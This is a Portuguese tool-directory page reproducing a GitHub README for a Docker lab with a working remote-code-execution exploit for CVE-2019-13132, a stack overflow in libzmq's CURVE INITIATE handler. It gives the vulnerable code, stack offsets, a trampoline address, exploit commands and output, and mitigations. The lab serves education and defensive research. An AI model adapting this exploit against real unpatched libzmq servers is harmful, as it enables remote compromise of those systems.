Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/dinosn/cve-2019-13132-lab
Análise de VulnerabilidadesExploraçãoEngenharia ReversaFuzzingAprendizado e EducaçãoDesenvolvimento de PayloadsExploração de BináriosLabs e Prática
GitHubdinosn/cve-2019-13132-lab

cve-2019-13132-lab

CVE-2019-13132 — estouro de pilha no CURVE INITIATE do libzmq → RCE. Exploit funcional + Docker lab.

Ver Repositório
há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2019-13132 — estouro de pilha no CURVE INITIATE do libzmq → laboratório RCE

CVE CVSS Affected License

Exploit RCE funcional de ponta a ponta + laboratório reproduzível para CVE-2019-13132, um estouro de buffer de pilha no manipulador de handshake CURVE INITIATE do libzmq. Um atacante que conhece a chave pública de longo prazo do servidor (um parâmetro público por design) pode estourar um buffer de pilha de tamanho fixo em process_initiate(), sobrescrever o endereço de retorno salvo e redirecionar a execução para código arbitrário.

Por Nicolas Krassas (@dinosn).

Apenas para uso em laboratório. Este kit inclui uma versão intencionalmente vulnerável do libzmq 4.3.0 com mitigações desativadas. Não exponha a porta 5556 fora do laboratório. O bug foi corrigido no libzmq 4.3.2.


Início rápido

root@kitploit:~
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
           -p 5556:5556 cve-2019-13132-lab

# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132

Teste de fumaça automatizado (executa o exploit + verifica o arquivo de prova):

root@kitploit:~
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh

Estrutura do repositório

root@kitploit:~
.
├── README.md           # this file
├── Dockerfile          # one-command containerised lab
├── server-curve.c      # CURVE REP listener — the vulnerable target
├── exploit.py          # full exploit (HELLO → WELCOME → oversized INITIATE)
├── compute_offsets.py  # build-time offset extraction → build_offsets.json
├── calibrate.sh        # runtime calibration → profile.json
├── start_server.sh     # start/restart the target
├── run_lab_test.sh     # automated end-to-end smoke test
└── entrypoint.sh       # Docker entrypoint (ASLR off + server + calibrate)

A vulnerabilidade

src/curve_server.cpp:284-336 (libzmq 4.3.0):

root@kitploit:~
if (size < 257) {                   // only a MINIMUM check; no upper bound
    errno = EPROTO; return -1;
}

const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;

uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256];  // 416 bytes fixed

memcpy (initiate_box + crypto_box_BOXZEROBYTES,             // dest: stack buf + 16
        initiate + 113,                                     // src:  attacker data
        clen - crypto_box_BOXZEROBYTES);                    // len:  size - 113

initiate_box é um buffer alocado na pilha de 416 bytes. O memcpy escreve size - 113 bytes na região de payload de 400 bytes (offset 16..415). Qualquer INITIATE com size > 513 estoura o buffer, atingindo registros salvos da função chamadora e o endereço de retorno.

A verificação do cookie ocorre antes do estouro, então o INITIATE deve conter um cookie genuíno — mas o cookie é obtido da mensagem WELCOME anterior usando apenas a chave pública de longo prazo do servidor.


Cadeia do exploit

1. Handshake CURVE (apenas a chave pública é necessária)

O protocolo CURVE é projetado para que os clientes já possuam a chave pública de longo prazo do servidor (ela está na URI de conexão ou configuração). O exploit:

  1. Gera um par de chaves efêmeras (C', c').
  2. Envia um HELLO válido — o servidor o descriptografa usando C' + sua chave secreta.
  3. Recebe WELCOME — descriptografa usando C' + a chave pública do servidor.
  4. Extrai o cookie do WELCOME.
  5. Envia INITIATE com o cookie genuíno + payload excessivamente grande.
  6. O cookie é validado, e o memcpy vulnerável é acionado.

Nenhuma credencial de nível de aplicação. Nenhum bypass de autenticação ZAP. O estouro ocorre durante a troca de chaves CURVE, antes que a aplicação veja o par.

2. Estouro de pilha → Sobrescrita do endereço de retorno

root@kitploit:~
process_initiate() stack frame (compiled with -O0 -fno-stack-protector):

    prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
              sub $0x628, %rsp

    RSP + 0x490  ← memcpy destination (initiate_box + 16)
    RSP + 0x628  ← saved rbx
    RSP + 0x630  ← saved rbp
    RSP + 0x638  ← saved r12
    RSP + 0x640  ← saved r13
    RSP + 0x648  ← saved r14
    RSP + 0x650  ← saved r15
    RSP + 0x658  ← RETURN ADDRESS       offset = 0x658 - 0x490 = 456 bytes

O exploit envia 464 bytes de payload: 456 bytes de preenchimento (0x41) para alcançar o endereço de retorno, depois 8 bytes contendo o endereço de lab_trampoline().

3. Caminho de erro → epílogo → ret → trampoline

Após o estouro, crypto_box_open() falha (os dados estourados são texto cifrado inválido). O caminho de erro registra a falha, define errno e retorna -1 — mas o caminho de erro acessa apenas locais da pilha abaixo da região de estouro (RSP+0xe0, RSP+0xf0, RSP+0x280), portanto executa limpo com a pilha corrompida.

O epílogo da função (add $0x628,%rsp; pop rbx-r15; ret) recupera os registros salvos corrompidos (agora 0x4141414141414141) e então ret carrega nosso endereço de trampoline.

4. Execução de código

lab_trampoline() usa syscalls brutas (sem libc, sem fork()) para escrever o arquivo de prova:

root@kitploit:~
void lab_trampoline(void) {
    int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
    syscall(SYS_write, fd, banner, ...);
    // reads /proc/self/status (shows uid, pid, capabilities)
    // reads /etc/hostname
    syscall(SYS_exit_group, 0);
}

Syscalls brutas são usadas em vez de system() / fork() porque process_initiate() executa na thread de E/S do libzmq — chamar fork() de uma thread não principal em um processo multi-thread causa deadlock nos handlers de lock pthread_atfork do glibc.

Por que apenas a chave pública é necessária

A chave pública de longo prazo do servidor é um parâmetro público no protocolo CurveZMQ — os clientes devem possuí-la para se conectar. Ela é normalmente distribuída em arquivos de configuração, URIs ou mecanismos de descoberta. O exploit não requer material secreto.


Resolução de offsets

O exploit precisa de dois valores:

campovalorfonte

Ambos estão hardcoded no exploit.py como padrões internos para a construção do Docker lab (Debian 12, gcc 12, libzmq 4.3.0). Nenhuma etapa de calibração é necessária — basta executar o exploit:

root@kitploit:~
python3 exploit.py                                          # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json   # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456       # manual override

Prioridade de resolução: flags --trampoline/--offset → arquivo --profile → /opt/zmq-curve-rce/profile.json → padrões internos.

Por que não há fingerprinting em tempo de execução?

O ZMTP não possui API de introspecção. O greeting revela apenas a versão do protocolo (3.x) e o mecanismo (CURVE) — nada sobre a construção do libzmq, compilador ou layout binário. Não existe um identificador de construção acessível em tempo de execução que permitiria seleção automática de offsets contra alvos desconhecidos.

Os scripts calibrate.sh / compute_offsets.py são fornecidos para reconstruções em diferentes distribuições ou versões do gcc, onde o endereço do trampoline pode mudar. Dentro do Docker lab eles são executados automaticamente, mas não são necessários.


Exemplo de saída

root@kitploit:~
$ /opt/zmq-curve-rce/run_lab_test.sh
=== CVE-2019-13132 lab test ===
[*] target:         127.0.0.1:5556
[*] trampoline    @ 0x0000000000401206
[*] offset to ret:  456 bytes

[+] connected
[+] HELLO/WELCOME complete (S'=00b19cb8217ac149...)
[+] sent INITIATE (577 bytes, overflow = 464)
[+] waiting for process_initiate() → ret → trampoline → system()
[*] done — check /tmp/pwned-13132 on target

--- proof file contents ---
CVE-2019-13132: RCE achieved via CURVE INITIATE stack overflow
Name:   server-curve
...
Uid:    0       0       0       0
...
hostname: caa76cbbc4a4
--- end ---

[PASS] RCE confirmed — /tmp/pwned-13132 created by the libzmq server process.
[PASS] CVE-2019-13132 lab — RCE chain verified end-to-end.

Mitigações


Limpeza

root@kitploit:~
docker rm -f <container>
# or inside the container:
pkill -9 -x server-curve
rm -f /tmp/pwned-13132
sysctl -w kernel.randomize_va_space=2   # restore ASLR

Referências

  • NVD CVE-2019-13132
  • Notas de lançamento do libzmq 4.3.2 — a correção
  • Especificação CurveZMQ (ZMQ RFC 26) — protocolo de handshake CURVE
  • ZMTP 3.1 (ZMQ RFC 37) — Protocolo de Transporte de Mensagens ZeroMQ

Autor

Nicolas Krassas — @dinosn

Licença

MIT. O código-fonte intencionalmente vulnerável do libzmq 4.3.0 é obtido no momento da compilação a partir do repositório upstream LGPLv3-com-exceções / MPLv2.

Aviso de responsabilidade

Apenas para pesquisa defensiva de segurança, educação e testes de segurança autorizados. Não implante a compilação vulnerável incluída fora de um ambiente de laboratório contido.

Baixar ferramenta
trampoline_addr
0x401206
nm server-curve (binário não-PIE, endereço fixo)
offset_to_ret456desassembly de process_initiate (0x658 - 0x490)
DefesaEfeito
Atualizar para libzmq >= 4.3.2Corrigido. Adiciona uma verificação de limite superior no tamanho do INITIATE antes do memcpy.
Canários de pilha (-fstack-protector)Detecta o estouro antes do retorno da função. O canário fica entre variáveis locais e registros salvos; o estouro o corrompe, acionando __stack_chk_fail.
ASLRRandomiza endereços de bibliotecas compartilhadas e da pilha. O trampoline está em um binário não-PIE (endereço fixo), mas um servidor de produção seria PIE, exigindo um vazamento de informação.
PIERandomiza o endereço de carga do binário do servidor. O endereço do trampoline não seria mais previsível sem um vazamento.
NXNão relevante aqui — nenhum shellcode é injetado; o exploit chama código existente.
ZAP / autenticação em nível de aplicaçãoNão ajuda — o estouro ocorre durante a troca de chaves CURVE, antes do ZAP ser consultado.